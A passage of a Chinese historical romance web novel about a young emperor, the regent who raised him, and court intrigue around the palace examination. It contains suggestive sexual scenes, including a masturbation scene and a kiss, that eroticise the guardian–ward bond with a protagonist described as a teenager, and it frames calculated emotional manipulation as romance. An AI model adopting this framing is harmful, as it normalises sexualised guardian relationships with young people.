乱扭乱动的能不开吗?他伸完一个袖子都要再躺下歇会再穿, 一来一去带子都松了。 正式朝服每一层都有定数和寓意, 不能随意更改, 都穿到最后一层了, 现在告诉他最里面的没穿好, 这不是前功尽弃吗? 沈衡掀起眼皮不冷不热道:“再乱动我就不给你穿了。” 宋南卿半闭着眼睛哼了一声,“那朕出去让他们穿。”作势就要从床上下来往外走。 外室等着伺候服侍的下人立马打了个激灵, 他们今天要真碰了陛下一个指头,明天没手指的就是他们,对于陛下的贴身衣物, 摄政王从来没有假手于人过,但陛下如果真出来下命令,他们又不能违抗旨意。 每一个下人都低着头默默祈祷陛下可千万要被拦住,千万别出来。 隔断处的明黄色纱帘被一只手撩起, 众人皆屏住呼吸。宋南卿刚撩开帘子还没迈出一步,就被后面跟上来的摄政王捏住了后脖颈。 “大清早闹什么?” “谁闹了,明明就是你嫌给我穿衣服烦,不找你了!”宋南卿推开他的手臂。 他起床气很严重,加上今天又早起那么多,沈衡还不陪他一起殿试,现在连穿个衣服都不耐烦。 宋南卿在心里谴责他,想着那个“凤栖楼陪客指南”上说的果然没错,男人一旦开始觉得他对你重要,就会不珍惜,之前才说相信他,现在就这样对自己不耐烦。想给他穿衣服的人能从宣武门排到御花园!沈衡就偷着乐吧,还说这说那的。 男人轻捏着脖颈把人拉近,呼出的热气洒在宋南卿耳侧,引得他无意识缩起脖子。 “能给陛下穿衣裳臣求之不得,只是再那么磨蹭下去要迟到了,陛下想又听见言官进言吗?”沈衡轻轻安抚,指腹摩擦着少年的发根,把人心中的燥火降了下来。 “不给你重新穿了,从这儿伸进去系好不好?“宋南卿不松不紧的领口被男人用手指挑开,指腹摸到雪白的颈子和笔直的锁骨。 细微的颤栗感传来,宋南卿被摸到的那块皮肤起了一层鸡皮疙瘩。他伸手揪住面前朦胧的薄纱,隐隐约约可以看见远处的下人轮廓,虽然知道搁那么远,他们什么都看不见。但还是忍不住正在思考自己和沈衡这个姿势,在他们眼里会是什么样子。 没等他反应,那只手就往下探去直奔未系好的带子。 问他只是通知,沈衡根本没有给他说不好的权利和机会。 影影绰绰的薄纱起到了遮挡内室的作用,五彩珠链随着宋南卿扯动动作发出细微的响声,他就站在那里任由沈衡的手臂从领口伸入往下寻找衣服系带,有些难为情地低着头说:“有没有摸到……啊!” 有些特别的地方被指腹不小心蹭过,宋南卿仰了下脖子,那丝滑的衣带又细又短,不好找到,总是差一点摸到头,一股奇异的感觉从尾椎窜到脊柱,连腿都软了。 万幸,中衣带子终于被摸到,但单手打结又是一个需要技巧的动作。沈衡从背后靠上来,宋南卿腿发软只能倚靠在他肩膀上。 贴身的衣物料子很滑,沈衡把手伸过去去够另一条滑下去的带子,层层叠叠的衣裳穿太多,十分限制动作。宋南卿抖了抖,努力平稳住声音说: “好没好啊,不、不要了……要不还是脱下来再系吧…”明明刚刚面对面穿中衣的时候还没有这种说不清道不明的感觉,但一旦以这种暧昧的姿势,就感觉空气都变得黏腻了起来。 宋南卿根本不敢低头,只能凭着感觉知道先生在帮他穿衣服,莫名觉得羞耻,好像被占便宜了一样,但他又没办法说,因为对方明明只是在帮他系带子。 “马上就好。”沈衡低声道,二人的发尾缠绕在一起,彼此已经分不清你我。 屋外突然传来脚步声,一道身影快速迈进来于黄色纱幔前停止,单腿跪地道:“陛下,奴才有急奏。” 话一说完,房间里瞬间寂静无声,诡异得连同一根针掉在地上的声音都听的清。他来的急,门口内侍没来得及阻拦。 这道纱后面还有屏风,一般贴身侍从前来会停在此地等候通传,但没有人想到陛下和摄政王有此闲情逸致,就站在此处穿衣系带。所以等魏进意识到情况不对,慢慢抬头时,发现宋南卿和摄政王正以一个亲密暧昧的姿势贴在一起,摄政王的手还伸在陛下衣领里。 隔了一层纱,朦胧又模糊,但那不对劲的姿势怎么也不会是普通君臣所有。 一瞬间,万千情绪涌上心头,懊悔、诧异、不甘,一起冲入魏进的脑海。 “滚出去。”沈衡不怒自威,声音发沉。 魏进连滚带爬立即逃离这个是非之地,生怕跑晚了自己命都得留下。 被看到这样,宋南卿踩了好几下沈衡的脚,虽然如果不是他要跑到外面让别人给他穿衣,也不会在这里被看到,但他还是冲沈衡发了好一顿脾气,被哄了又哄才肯消停。 “好了,他看到也不敢乱说什么,嗯?别生气了。”沈衡把人抱在腿上给他穿袜子,被踩住手心踢也没变脸色,反而握住人的脚趾说,“我看看踢没踢疼。” 宋南卿被他弄的脚心都是痒的,胡乱踩在人手臂上蹭,等到再不出去真的要迟了殿试才肯放过沈衡。 皇帝陛下目无下尘,挺着背乘御辇离开,但当沈衡掀开那道薄纱之时,却看到了地面上被遗忘的一张帕子。 是他的。 质地和边角的绣花他记得十分清楚,就是被宋南卿拿走然后说不见了的那条。 想到今天早上魏进那匆匆离去的身影和变了几变的微妙表情,沈衡一脚踩上那条帕子,眼神深冷嘴角压低,身上的四爪蟒袍在光线衬托下显得庄重又严肃,蟒身缠绕在衣角,蓝黑的颜色又阴又沉。 宫殿木门推开的一角合上,最后一丝屋外朝阳的光线也撤离,地上被踩脏的帕子孤零零躺在灰尘里,被打扫的宫人扫进一片垃圾里,彻底丢入黑暗中。 ———— 与乾清宫的气氛不同,午门前穿着袍服冠靴的考生脸上,都是带着谨慎的表情,跟随官员踏入宫门,小心翼翼打量着瑰丽底蕴的皇宫。 今天这最后一道,决定了今后的人生走向,如果能得到圣上的青眼,那么往后平步青云、封官拜相,也是指日可待了。 一个身量高大的身影站在一旁,一派清高的作态,与其他人的向往和敬畏不同。他就是当朝首辅之子,贾士凯,不出意外应当会在前三甲里面。周围围了许多人想跟他攀谈。 由于之前世家子弟搞出双头牛一事被圣上降下惩罚,这次科举考试入围的高官之后并不算多,就更显的贾士凯鹤立鸡群了。 阮羡之站在别处没有掺和进这些恭维和打探中,他望着巍峨高大的皇宫,红墙青瓦,远处的松柏傲立生长,突然生出一种奇异的感觉——他会留在这里的,不是今天,也是明天。 等乘着步撵到达保和殿,殿试已经进入了颁发策题的阶段。 宋南卿穿着正式的礼服,头上戴着卷云冠,如瀑的长发束起,在上面端坐接受众人跪拜之时,散发出了淡淡的威仪。 一众考生屏气凝神,听着时任内阁首辅的贾良宣读圣旨,考试用的案桌在前一天已有光禄寺官员摆放好,宋南卿微微点头,执事官开始发放策题。 下面黑压压地全是穿着一样的人头,看得宋南卿眼晕,他端坐了一会儿觉得没意思,开始拿手盘沈衡的那串佛珠。 沈衡今日不负责殿试,给他穿完衣服就走了,也不知道到底忙些什么。 宋南卿撑着下巴看了一会儿,巡逻的仪鸾司侍卫在殿外站岗,他从窗户纸上看见了离得近的一人的盔甲影子。指腹摩挲着佛珠上刻的字,看着外面大好的春光觉得甚是可惜。 策题发下去已经半个时辰了,宋南卿站起身慢慢踱步,顺着离得近的考生案桌开始转。 首先的一个便是阮羡之,没想到他真的进殿试了,对于这个有两面之缘的考生,宋南卿其实是欣赏他的才华和为人的。 鞭辟入里的文字、激昂的调子,看他清瘦的外表,完全看不出作的文章会是这样直言不讳的类型,宋南卿想起了之前了解的,此人自幼丧母被县官不公平断案,抄书为生艰难科考的背景,佛珠轻碰发出了质朴的脆响。 对方的注意力完全在考卷上,似是未曾察觉尊贵的天子就站在自己旁边。 礼服华美,穿起来也沉重,宋南卿走起来裙摆晃动,明黄的纱袍蹁跹摇晃,慢慢移动到了贾士凯旁边。 一旁的首辅贾良在朝皇帝使眼色,毕竟是正式场合,他没权利制止皇帝的行动,几次眼色都没递出去,贾良轻咳一声,抬手捋了捋胡子。 站在殿内门两侧的禁军笔直挺立,一动不动保卫着皇帝的安全,各位大臣的一举一动都被尽收眼底。 当朝内阁独揽大权,首辅和摄政王一文一武分庭抗礼,贾良作为当今皇上的亲舅舅,和沈衡是表面功夫都不想做了,外人看来就是,他们都想挟天子揽更多的权势。 贾良年近六十的年纪,簪缨世家出身,现仍任礼部事,因为早年做过国子监祭酒,门生分布很广,朝廷里有很多人都曾是他的门生。 宋南卿慢慢停止了脚步,静静看着贾士凯作答。骈文写的华丽对仗,多是些歌功颂德之词,但又巧妙献策,整篇下来赏心悦目。 可能是他离得有些近了,贾士凯的余光看见了摇晃摆动的明艳裙摆,神情恍惚片刻,忽然看见了那张艳丽得令人惊心动魄又无比熟悉的脸。 白皙如雪仿佛能够反射出淡淡的光泽,如春日柔光下的海棠,细细的腰身被玉带一束简直只手可握,明黄色简直像是为他量身定做的,宛如一枝绽放的、多汁的花。 那双眼睛,犹如一汪春水般眼波流转,他做梦一般听见了美人对他说: “朕好看吗?”—— 作者有话说:宋南卿:你说什么?说朕衣来伸手,饭来张口?朕当皇帝不就是为了这个吗?(小得意) 第25章 第二十五章 不知与何人厮混 “朕好看吗?” 清脆悠扬的声音从红唇里吐出, 尾音微微上扬,像是带着小钩子一般,轻轻响起却让人沉醉其中, 配上慢慢放大靠近的脸和上扬的眼尾… 贾士凯心波荡漾, 像是被摄住了心神,无意识回答道:“好看…” 浅浅的香气似茶又似雾, 从美人身上传来, 贾士凯眼中仿佛只有他一个人, 时空都在慢慢远去。 直到听到兵器击打在地面的铮铮声,是禁军步伐整齐快速齐步涌来。他整个人被大力按倒在地上, 胳膊猛地反折过去, 发出了咔哒一声。 贾士凯突然在剧痛中记起,这张脸…他到底是在什么地方见过。 云岫挂牌拍卖那天晚上在凤栖楼,那个带人把他打晕让他脸面尽失的人;在小巷子里教训阮羡之被突然出现的不长眼的人阻拦, 又让他吃了好大一回暗亏的人。 都是他, 竟然是他, 当朝天子, 竟是那么一个艳若桃李的少年。 虽说他身为首辅之子, 和圣上有个表亲的虚名,但其实贾士凯从来都没有见过这个神秘尊贵的天子, 只是从无数人口中听说,他以为对方就是一个上不得台面唯唯诺诺的傀儡,听说从小就被关在冷宫里, 多亏他爹辅佐才能成事,在朝堂上也是都听他爹的不敢放肆。就连那天圣上亲临贾府,他也因为装作被贾良惩罚跪祠堂没能面圣。 但再虚有其名,他也是大盛朝的天子, 坐在龙椅之上受万人供奉。 脑中浮现出眼前少年第二次见面时在雨中对他说的话:“看来你还是不知道我是谁。” 他当时是怎么说的来着? “我管你是谁,在贾家的地盘上就得听我的……” 那天的雨淋湿墙尾,淋湿衣角,淋得贾士凯看不清眼前人的面容。 贾士凯陷入回忆和悔恨的泥沼,眼睛还盯着宋南卿不放。 宋南卿露出了不明显的厌恶表情,连看都没看他一眼,对着围上来按倒他的禁军说:“拖下去,杖三十……” “陛下!” 贾良带着顾全大局善解人意的表情,拉着宋南卿到了偏殿。禁军是沈衡的人,现在归宋南卿,他管不了,只能从小皇帝这里下手了。 “陛下……殿试的大日子,在考场这样舞刀弄枪的,是不是有些不合时宜。” 宋南卿像小孩一样咬了咬嘴唇,抬头说:“可是他的手都要碰到朕脸上来了,这不是欲意行刺是什么?” “舅舅,当着那么多人,皇家颜面何在?”他冷着脸说,像是真的生气了一般。 殿试是完全公平的,他不应该偏私每一个人,也不应该认识每一个考生而替他说话。 贾良上前给他整了整衣袖,笑着说:“每个贡生都是苦读良久才有这个面圣的机会,第一次见陛下仙人之资一时失仪也是有的。要是因此就被责罚,失去了为国效力的机会,也是朝廷的损失不是?” “不若先让他考完,责罚之后再补上,陛下圣明,一定不会错失良才。” 贾良一派忠心为国的姿态。 宋南卿看着他,委屈道:“舅舅,您刚才可能没听见他说了什么,他赞朕长得好看。” “他是什么东西?哪里来的胆子,哪里来的资格对朕进行评价?那么多考生,怎么偏偏就是他,敢直视朕的脸。”一国之君在舅舅面前多了几分小孩发脾气的作态,而偏偏就是这个十几岁的小孩,处在万人之上的高位,谁都不能反驳。 今天事情发展到这个局面,贾良怎么也不可能说这是他儿子,希望陛下手下留情。 贾良还想再劝说什么,就看见宋南卿摆了摆手,说:“朕累了,先回去了,舅舅最疼我了,不会让朕不开心的吧。” 他抬起眼看着贾良,纯良无害的模样,像是个掌握了过多权力随意运用的稚子,但此时清澈的双眸一派纯真,半是依赖半是试探,他像是被宠坏了的孩子,想要看看亲人到底是不是站在自己这边的。 贾良权衡再三,最终也没有应下。如果是几个月之前,他还能相信宋南卿这副做派,但经过双头牛、郗文康复位、王大年案件,他对宋南卿的看法已经发生了微妙的变化,不能再以以前看小孩子的眼光看他了。 不管是宋南卿自己的谋划,还是沈衡拿他当棋子,贾良意识到这个明年加冠的天子,远没有表面看上去的纯良。 今年科考算是改革试点年,再往后,平民举子只会越来越多,既然他已经在得罪其他朝廷命官的情况下让贾士凯有今年参与科考的机会,也不能白白浪费了这个污蔑,否则贾士凯往后的路会更难走。 只是关于宋南卿,不知道沈衡又给他教了什么,脾气越来越大了。 不过这样也好,太过仁贤就是明君了。 见贾良没有答应,宋南卿冷下脸来,拂袖离开。 考场依然一片寂静无声,只有笔和纸摩擦的声音,监考官看向那个被禁军一顿拖拽又重新回到位置的考生,心里不知道在想什么。 科考归礼部负责,言行冲撞或者大不敬的罪名也要靠礼部裁决,宋南卿当然可以一意孤行不顾贾良劝阻把贾士凯拖走,但这样传出去名声的确不好听。 春风吹拂,屋外的春花香气连同逐渐升高的热气一起往殿内涌,宋南卿单手支撑着头看考官们阅卷,边上的春见适时拿了把扇子在一旁轻扇。 今日天气转暖,有了初夏的感觉,宋南卿又因为礼服的缘故穿了好多层,但他对这次科考结果很重视,所以没有换衣服就跟着他们来到了翰林院阅卷。 按道理讲,这些翰林院的考官对陛下是熟悉的,每日上朝都能见到,但那个高坐龙椅上的人就离自己那么近,今日礼服一穿有了不同于记忆里那个年少无知的小皇帝的形象。 加上他们这位陛下实在是貌美的有些惊人了,所以他们在宋南卿注视下看卷子总有种被压迫的感觉。现场看才意识到,适才有举子被陛下美貌震撼做出超常规的举动,仿佛也有情可原。 时间一点点过去,翰林院主考最终选定了三张卷子,一起呈递到宋南卿面前。 "臣等以为是上佳之作,请陛下过目。" 两人展开考卷于宋南卿面前,他喝了一口茶,抬眼望去。 阮羡之和贾士凯的都在其中。 宋南卿淡淡看着贾士凯的那篇策论,然后把目光移到了主考官的身上。因着贾士凯参加这次考试,为了避嫌,贾良自然就没有过度插手考生相关事宜,但这个主考官,看起来好像还没有看清形势。 绿色的茶杯釉质细腻,衬得人指尖都更加莹润,杯子在宋南卿手上转了一圈,然后被搁置在桌上发出不轻不重的一声响动。 众人心里一沉。 “你觉得这篇策论写的如何?”宋南卿随意指了一个人问。 郗武康的汗流到鬓角,用袖子擦了擦,慎重开口:“结构对仗工整,也引经据典……只是、只是缺乏高度和站位,太过注重细节不能抓大放小。” 他一边细细观察着上位者的表情,一边缓缓道。都说伴君如伴虎,一句话说不好引得陛下不快可能为官生涯就到此为止,但如果能揣度圣心抓住机会,也许能平步青云。 刚刚在殿里闹的那一遭是个人都清楚,现在陛下问他这篇策论如何,就是想让人给他个借题发挥的台阶。 宋南卿听了他的话,指尖摩挲着光滑的杯口,突然露出了个意味不明的笑,“你说的和朕想的一样,你们以为呢?” 堂下的人心思各异,他们有一些是贾良曾经的学生,也受过打点,本来如果团结起来是可以跟宋南卿对着干的,毕竟一篇文章的评判标准很主观,说难听点就算众口铄金也无人可以置喙。 但这次科举,世家子弟多半没能参加,当时陛下因为双头牛谣言降下惩罚的时候,贾良大人可是事不关己高高挂起的态度,在座各位谁家里没有个子侄需要参加科考呢?凭什么贾良的独子高高在上没受惩戒那么顺利就能入朝为官,他们还得忤逆陛下替他说话。 默许,是一种心照不宣,人心的变化是潜移默化、润物细无声的。宋南卿扫过众人的脸,低头对着杯里的茶水轻吹,姿态轻松慵懒,但举手投足间又带着常人没有的矜贵。 “知人善用的道理你们都懂,先把进士名单拟出来,至于职位,稍后再议。” 主考官低头称是,望着考卷道:“状元人选,希望陛下指示。” “诸位资历经验比朕丰厚,你们定就是。”宋南卿以退为进,心里明白事情也不能做绝。贾士凯进不了前三甲就已经在打贾良和世家的脸了,如果这届状元还不能选一个这些氏族满意的充门面,就未免太操之过急,改革还需循序渐进。 ———— 天色暗下来,没了阳光直射总算变得凉快一些,宋南卿没带多少人轻装出行,在夜色掩盖下悄悄潜入沈衡府邸。 今日日落有些晚,天边还带着蓝黑色的朦胧,宋南卿提起衣摆快速跑动,被风扬起的外袍如同天边的云霞,金橙色的衣服花纹描边随着跑动一摇一摆,在未黑透彻的黄昏里热烈轻盈又生机盎然。 层层扬起的轻纱衣袍如同天边被夕阳余晖浸透的云朵,漂浮不定。 他迈过大门门槛,头上戴的发饰垂下一串金黄色珠链,混在肩膀处的发丝中,闪烁着华彩光辉。 竹心迎上来刚要行礼,宋南卿快速略过他,又停下脚步回头问:“他呢?” “大人在卧房。”竹心犹豫了一会儿回答。 宋南卿点头,朝着卧房的方向走去,忽然又定住。 卧房……卧房!这天未黑透,现在为何会在那里! 少年咬了咬嘴唇,心想好你个沈衡,自己在宫里居安思危步步谨慎,他在外面倒是还未黑天就在卧房与不知何人厮混是吧! 宋南卿越想越生气,脚下步子迈的飞快,连竹心劝阻他的声音都听不进去一点,气冲冲就到了内院门口,头上的珠链叮当作响,发出一连串清脆的动静。 有些与往常不同的是,平时再怎么样房间外面都会有等候待命的下人,但今日二道门外无一人伺候,整个房间外寂静无声,只有墙上垂下的紫藤花随风摇摆,绿叶混在夜色里,郁郁葱葱、影影绰绰。 这种反常的迹象让宋南卿更加坚定了内心的想法,他蹑手蹑脚走入内院,朝春见打了个手势,生怕惊扰了里面的人,自己一个人悄悄推开门。 正对着门的是一副水墨图,天空的苍鹰和草原奔腾的骏马相得益彰,左边内室隔断处挂着道道珠帘,屋里还未点灯,只能透过窗边的一点亮光看清陈设。 宋南卿朝里轻轻移动,靠近隔断珠帘,他耳朵微动,听见了隐隐约约的喘息声。 很轻、很低,但灌到耳朵里像是带着毛边般粗粝。 他已经不是什么都不懂的小孩了,听到这种声音后一股无名怒火从心头窜起一路烧到头顶,宋南卿控制不住发抖的手,猛地掀开眼前珠帘踏进内室。 大声喝道: “好你个沈衡!你竟然……”—— 作者有话说:小皇帝:气冲冲准备捉奸在床[愤怒] 第26章 第二十六章 小时候先生都让我亲的…… 袅袅熏香氤氲而起的白雾在角落的铜炉里升起, 明明是平心静气的香,但与眼前的画面结合在一起,生出的不是清新降火, 而是欲念升腾。 宽大的紫檀木床上一览无余, 没有任何遮挡。宋南卿在看向床上的那一刻,声音就戛然而止, 话语音节卡在嗓子眼里咽下去也不是, 吐出来也不是, 整个人从头到脚都红成一片。 大概是刚刚沐浴结束,沈衡独自一人坐在床上, 没有穿衣服, 虚虚披了一件白色的袍子还敞着未系,胸腹沟壑蜿蜒而下、肌肉轮廓分明。他正低头喘息,额头上一滴汗珠滑落, 顺着腰腹流入被手挡住的地方。 有些昏暗的房间里看不算太真切。 听见宋南卿的声音, 沈衡只是淡淡转过头, 手里的动作都没停下, 用炙热的视线把宋南卿从头扫到脚。 浅橙色的衣袖被少年挽到胳膊肘, 嫩生生的胳膊如同新鲜藕节暴露在外面,沈衡带着毛边的眼神从露出的细嫩脖颈移动到上方那张因为惊讶张开的嘴唇上。 今日天热, 练剑后浑身都是汗沐浴了一番,在浴池中看见一盘鲜红的荔枝,那日与宋南卿共浴时的画面和感觉不可抑制地上涌。贴在自己肩膀上柔软的身躯, 那湿糯缠人的粉红舌尖,香甜黏腻的荔枝汁水,连同池水的温度和浸透水的浴衣一起,让沈衡没能控制住欲念。 越是想抑制, 情绪越是翻涌;越是想清心,心里的念头越是静不下来;越是告诉自己谁都行就他不行,心中火却越烧越旺只有那张脸无比清晰。怎么能对一个自己从小养到大的孩子产生这种感觉,更何况…… 但越是克制、越是禁忌、越是压抑,越是动人。 沈衡盯着宋南卿露出的那截舌尖,喉结上下滚动,一出声便是带着情欲的低哑:“准备看到什么时候?” 宋南卿如梦初醒,才发现自己一直站在原地迈不开步子,像个做错事被罚站的小孩子,明明做错事的不是自己,却胆怯又害怕,等待发配、等候指令。 他一溜烟跑了出去,谁料到跑得太急,头上的发饰链子和珠帘缠绕在一起,把他死死固定在原地,这下真的走不掉了。 天色更暗,沈衡看不见宋南卿跑去了哪里,但既然离开,他就可以更肆无忌惮。 水声、摩擦声,混合低低的喘息,像是一张织密的大网,把宋南卿笼罩其中逃脱不得。他想逃离,但又怕惊扰了什么猛兽。 心脏跳动的声音越来越明显,少年死死攥着衣服忍住声音。沈衡教的清心咒似乎派上了用场,越念感觉自己越飘,但耳边快到极致的摩擦水声和往日沈衡平淡着一张脸念清心咒的声音交叠在一起,让人分辨不清到底哪一个才是真实。 宋南卿闭上眼睛,攥紧手指才发现自己已经手心全是汗,与发丝缠绕在一起的珠链禁锢着他,难以逃脱一步,只能任由身后的低沉声音缠上、吞噬。 香炉里的香气混合了紫檀木家具的味道,其中还掺杂着一丝若有若无的、描述不清的味道,很淡,像是牛乳没做好的腥气,又甜又奶又腥。 宋南卿肩膀一缩,听到了与之前不同的音调,然后是一阵布料摩擦声,最终一切回归安静沉寂。 他不知道自己站了多久,等反应过来的时候脚尖有些发麻,屋外已经黑透了,里面也没有点灯。瞳孔由于在黑暗中太久而慢慢扩散,周围一切的轮廓都不太清晰,蒙上了一层黑纱。 忽然一阵热气从身后传来,沈衡不知何时已经走了过来,低头搭着他的肩膀在人耳边问:“不想走?” 比平常更沉的声音多了一分沙哑,如同醇厚的酒,只是闻见还没喝就醉了。 酥酥麻麻的感觉从耳后往腰上窜,宋南卿忍不住躲闪,又被头上和发丝缠绕在一起的珠链扯的头皮一疼,叫了一声。 心脏在不受控制地快速跳动,在安静的黑暗里显得格外清晰明显。 “不是,我是走不了。”他声音很轻,拉过沈衡的手往自己头发上够,“缠住了,好痛,解不开。” 一片黑暗中,没有人看到他们的表情和动作,就像如果他们不说,也没有人知道刚刚在这个房间里发生了什么。 只有他们两个知道。 屋外莲花池上亮起了一盏盏莲花灯,摄政王的卧房里也掌起了灯影。 宋南卿嫌热,把外衣脱了盘腿坐在贵妃榻上,捧着一碗酥酪吃的正起劲,咽下嘴里的杏肉瞥了一眼沈衡,“我今日来找你其实是有大事,听没听说九王最近对外宣称病好了?” 沈衡看他吃着橙黄的杏子,穿的也像枚酸甜可口的饱满杏子,脸颊鼓起嚼东西的样子像某种小动物,让人怜爱的同时也引人破坏。 他那么想,也就那么做了。 修长的手指对着脸颊一戳,他是过了把手瘾,宋南卿嘴里的东西差点含不住喷出来。 少年瞪了他一眼,水盈盈的眼睛带着谴责,嘴角下撇。沈衡轻轻勾了下他下巴算作安抚,接着说:“他既然想大肆宣扬,肯定有目的。” 黑棋又下了一枚,宋南卿看着棋盘上的走势,把酥酪搁置在一边,专心思考起来。 “我想先下手为强试探一番,他肯定心怀不轨。当初怕被你收拾一直受伤称病,我早就怀疑他是装的。”宋南卿垂眸道,“而且,西洲快回来了,在这个节骨眼上他突然开门宴宾客,我总觉得不是好事。” 他抬手捞了颗葡萄塞进嘴里,另一只手拿起白棋放在了一个位置上,犹豫再三,还是没搁棋,思考的时候那枚葡萄就在脸颊处含着鼓起。 沈衡手欠又戳了一下,汁水溅出顺着少年嘴角往下流。宋南卿慢慢掀起眼皮盯着他,面无表情,紫色的葡萄汁在白皙的皮肤上格外显眼。窗外微风吹过,几缕发丝在空中飘起,生无可恋的表情有种淡淡的死感萌。 沈衡忍着笑掏出一张帕子在他嘴角擦拭,道:“还是那么讨厌他。” 宋南卿一把拍开他的手,夺过帕子自己擦。 当年二皇子逼宫,九皇子宋南幸和他不是一党,奋力抵抗,阴差阳错下帮了沈衡和宋南卿夺权,所以前朝的几个皇子死的死残的残,流放的、贬为庶人的一大堆,只有九皇子因为这份功劳还好好的在京城。 但宋南卿小时候被众皇子欺负时,九王可是为首的那个,贾贵妃给自己儿子宋南卿做的礼物也是在那时被九王踩碎贬低。这件事宋南卿记得清楚,十几年过去也未曾忘却。欺负过他的人他都要一笔笔还回去,时间不会把一些东西冲淡,只会越来越清晰。 前几年九王和贾勇将军攻打突厥落败,沈衡当时就想找罪名收拾了他,但九王狡猾如狐狸,自愿放弃军权声称受伤严重在家养病,闲杂人等一概不见。按他那架势,听起来是病入膏肓了,还是为救贺勇的命才受的伤,于情于理,宋南卿和沈衡都没办法苛责他,只能暂且搁置。 最近突然又出来开始宣称病好了,事出反常必有妖。结合贺西洲来信说起东洋国内乱一事,不免让人想了很多。 宋南卿拿帕子擦干净了嘴,点头承认他的确很讨厌九王,不经意一瞥看见那张帕子上的熟悉花纹样式,眼神一转道:“先生找到这帕子了?我就说不是我弄丢的吧!” 沈衡喉结一滚,“找到了,卿卿知道是从哪儿找到的?” 这不是从魏进身上掉落的那一块,而是一张新的一模一样的。被别人碰过的只能待在垃圾堆,不会再有机会触碰宋南卿的脸,只是沈衡没说就是了。 “哪儿?”黑白分明的眼睛盯着沈衡,充满好奇和无辜。 “你那条最听话的狗身上。”沈衡淡淡启唇,不着痕迹地打量着少年的表情。 宋南卿似是很惊讶,挑眉道:“不是我给他的。” “不是我给他的。”他又重复了一遍,握住了沈衡的手,微微低着头抬眼看他,“我不知道为什么会在他那儿。”明亮圆润的眼睛这个角度看人有些楚楚可怜的意味,无辜又幼态。 沈衡左眼微眯,然后点头,“之前就跟你说过,不听话的狗养不得。” “可能是他捡到了,还没来得及还,前段日子我在仪鸾司多一点。”宋南卿勾着人的手指,皮肤的温度在彼此之间交换。 沈衡皱眉:“你那么认为?” “不然呢?”宋南卿用疑惑的表情看他,然后小声嘟囔,“其实他还挺听话的……” 沈衡的脸色阴沉下来,空气安静的吓人。 宋南卿抿嘴,小心翼翼看着人,“怎么了先生……” “现在知道叫先生,今日见我第一面时叫的什么?”沈衡捏着少年细细的腕子,绿檀佛珠硌在皮肤上带来淡淡的痛感。 宋南卿的睫毛颤颤,他今日掀开帘子冲进内室,叫的是沈衡大名,其实本来心里想的是奸夫□□来着,但没叫出口。 幸亏没叫出口! 他怎么知道沈衡这厮在自己弄,他还以为…… “我那是以为你在、你在…”宋南卿含含糊糊说不清楚,手腕上火热的掌心箍得他发汗,挣又挣不脱。 沈衡问:“以为什么?” “小小年纪,天天都在想什么?” 幽深的眼睛直直看向宋南卿,其中饱含深意。狭长的眼尾微挑,有种蛊惑人心的意味。 宋南卿一阵脸热,往旁边转过头说:“先生别倒打一耙,明、明明是你白日宣淫。” 听到这个词,沈衡眯了眯眼睛,虎口卡住宋南卿的下巴往上抬,低头凑近了道:“胆子越来越大了,我看看陛下长了几个胆子敢那么和我说话了。” 衣物熏了香,经过窗外的风一吹,送进鼻子里是那个熟悉的味道,宋南卿凑近他的袖子里面深吸一口气,抬眼迎上人的目光,“你摸摸看,我长了几个胆子。” 皇帝陛下私下里说话和平时面对群臣和下人不同,尤其面对沈衡的时候会多一丝软意,带着无意识的撒娇。在不算太亮的灯光下,那双明亮的眼睛映着烛火、倒映着沈衡的身影。被掰着脸往上抬时,明明是一个被动的姿势,他却好整以暇没有半点慌乱。 本来就小的脸在这个角度看更显小,脸颊肉被指头拢起鼓出,眼睛却直直盯着沈衡不放,一无所惧。跟几月前不同,宋南卿在这方面进步了许多,暧昧这件事,谁先慌了谁就输了,只要不捅破那层窗户纸,沈衡就没办法拿师长这层身份来压他。 二人离的很近,宋南卿顺着这个姿势仰起头,想在沈衡脸上亲一口。但对方一个偏头,唇珠将将擦过一点皮肤,连温度都没感受清楚,就已然错过。 “不可以背着我和别人弄……”他仰头声音带上了央求,拉过男人另一只手说,“小时候先生都让我亲的,想亲一下好不好。” 沈衡静静看着他,不知道在想什么。 荷花池里的荷花已经含苞待放,一滴一滴的水珠在荷叶表面滚来滚去,从一端滑到另一端,始终饱满。 宋南卿的唇珠微微翘着,一滴晶莹泪珠滑落嘴角,引得沈衡抬头。 少年的眼眶里蓄满了泪水将落未落,浅浅的粉色眼眶里盛满了泪水,但他就是忍着不肯落下泪来,满含倔强的意味。只有一滴像断了线的珍珠从脸庞滑落,滴在了沈衡心尖上。 他连忙抬手去接。 第27章 第二十七章 你一定要这样是吗? 滚烫的泪珠滴落到手上的时候已经变得温凉, 沈衡皱起眉,顿了顿道:“你一定要这样是吗?” 怎么哭才好看是一门学问,本来作为皇帝, 宋南卿根本没必要学这个, 但他既然学了,就要炉火纯青。 雪白的腮边挂着泪珠要落不落, 红红的眼眶里水汪汪的, 本来就灵动的眼睛泡在泪水里更是楚楚可怜顾盼生辉, 他红着鼻尖安静落泪不发出一丝声音,只有时不时小声的啜泣。黑白分明的眼睛望着沈衡, 是个人被他用这样的表情看着都会反思自己是不是哪里做错了。 但沈衡不是一般人, 他淡淡望着宋南卿又问了一遍:“你一定要这样是吗?” 宋南卿含着泪点头,固执又倔强。 空气安静了一瞬。 他的脸被捧起,轻轻的一个吻, 从容落在宋南卿的唇瓣上, 如同扇动翅膀的蝴蝶在他嘴唇停留, 柔软温热, 带着无比熟悉的气息, 一触即分。 当沈衡的身影靠近,遮挡住眼前的灯光时;当嘴唇相贴, 传来压迫感时;当脸被捧起,身体终于有依托时,宋南卿感到了消失许久的安全感, 缓缓闭上了眼。 九王虎视眈眈,贾良还未下马,世族官宦都想揽权,新科举子还不知能不能为他所用, 仪鸾司虽然归他所管但权力无人制衡,只怕来日也是威胁,突厥在北,倭人在东,苦夏即将来临,又怕洪水又怕干旱,又怕百姓不能安乐。他这个高高在上的皇帝的确万人之上,但也的确周围空无一人。 宋南卿踮起脚抱住沈衡的脖子,一个劲往上凑,唇齿相依交换气息。 他知道或许摄政王和贾良等人没什么本质区别,自己在他们眼里都是棋子,但心中的渴望和依赖根本不是理智能控制的。 他没办法不设计沈衡,因为理智上他想活下去,他也没办法不靠近沈衡,因为情感上他想活下去。 唇瓣分开,中间拉出一条细细的银丝,在二人中间断掉。 宋南卿脸颊潮红急促喘着气平复呼吸,膝盖一软就要倒地,被沈衡搂住了后腰,整个人趴在了男人怀里。湿润的粉红唇珠上翘,像一颗饱满多汁的樱桃,沾着清晨露珠。 他在沈衡看不到的角度,勾起一边嘴角露出了一个笑。 